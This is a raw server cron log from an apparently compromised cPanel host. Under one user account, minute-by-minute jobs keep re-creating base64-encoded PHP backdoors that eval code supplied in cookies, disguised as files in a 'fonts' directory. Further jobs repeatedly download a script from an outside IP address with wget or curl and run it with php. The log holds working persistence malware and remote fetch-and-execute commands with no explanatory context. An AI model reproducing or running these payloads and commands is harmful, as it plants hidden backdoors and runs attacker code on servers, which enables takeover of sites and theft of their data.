Sep  1 08:01:01 ip-184-168-122-23 CROND[16388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:01:01 ip-184-168-122-23 CROND[16391]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 08:01:01 ip-184-168-122-23 CROND[16393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:01:01 ip-184-168-122-23 CROND[16390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:01:01 ip-184-168-122-23 CROND[16395]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 08:01:01 ip-184-168-122-23 CROND[16392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16391]: starting 0anacron
Sep  1 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16411]: finished 0anacron
Sep  1 08:02:01 ip-184-168-122-23 CROND[16513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:02:01 ip-184-168-122-23 CROND[16515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:02:01 ip-184-168-122-23 CROND[16516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:02:01 ip-184-168-122-23 CROND[16518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:02:01 ip-184-168-122-23 CROND[16517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:03:01 ip-184-168-122-23 CROND[16742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:03:01 ip-184-168-122-23 CROND[16744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:03:01 ip-184-168-122-23 CROND[16745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:03:01 ip-184-168-122-23 CROND[16746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:04:01 ip-184-168-122-23 CROND[16855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:04:01 ip-184-168-122-23 CROND[16856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:04:01 ip-184-168-122-23 CROND[16859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:04:01 ip-184-168-122-23 CROND[16860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:04:01 ip-184-168-122-23 CROND[16862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:05:01 ip-184-168-122-23 CROND[17016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:05:01 ip-184-168-122-23 CROND[17021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:05:01 ip-184-168-122-23 CROND[17018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:05:01 ip-184-168-122-23 CROND[17019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 08:05:01 ip-184-168-122-23 CROND[17020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:05:01 ip-184-168-122-23 CROND[17023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:05:01 ip-184-168-122-23 CROND[17024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:06:01 ip-184-168-122-23 CROND[17150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:06:01 ip-184-168-122-23 CROND[17152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:06:01 ip-184-168-122-23 CROND[17154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:06:01 ip-184-168-122-23 CROND[17153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:06:01 ip-184-168-122-23 CROND[17155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:07:01 ip-184-168-122-23 CROND[17257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:07:01 ip-184-168-122-23 CROND[17256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:07:01 ip-184-168-122-23 CROND[17258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:07:01 ip-184-168-122-23 CROND[17259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:08:01 ip-184-168-122-23 CROND[17457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:08:01 ip-184-168-122-23 CROND[17460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:08:01 ip-184-168-122-23 CROND[17459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:08:01 ip-184-168-122-23 CROND[17463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:08:01 ip-184-168-122-23 CROND[17466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:09:02 ip-184-168-122-23 CROND[17590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:09:02 ip-184-168-122-23 CROND[17592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:09:02 ip-184-168-122-23 CROND[17595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:09:02 ip-184-168-122-23 CROND[17594]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 08:09:02 ip-184-168-122-23 CROND[17593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:10:01 ip-184-168-122-23 CROND[17723]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:10:01 ip-184-168-122-23 CROND[17726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:10:01 ip-184-168-122-23 CROND[17727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:10:01 ip-184-168-122-23 CROND[17733]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:10:01 ip-184-168-122-23 CROND[17734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:10:01 ip-184-168-122-23 CROND[17729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:10:01 ip-184-168-122-23 CROND[17730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:10:01 ip-184-168-122-23 CROND[17731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:11:01 ip-184-168-122-23 CROND[17896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:11:01 ip-184-168-122-23 CROND[17899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:11:01 ip-184-168-122-23 CROND[17897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:11:01 ip-184-168-122-23 CROND[17898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:12:01 ip-184-168-122-23 CROND[18023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:12:01 ip-184-168-122-23 CROND[18025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:12:01 ip-184-168-122-23 CROND[18026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:12:01 ip-184-168-122-23 CROND[18027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:12:01 ip-184-168-122-23 CROND[18029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:13:01 ip-184-168-122-23 CROND[18213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
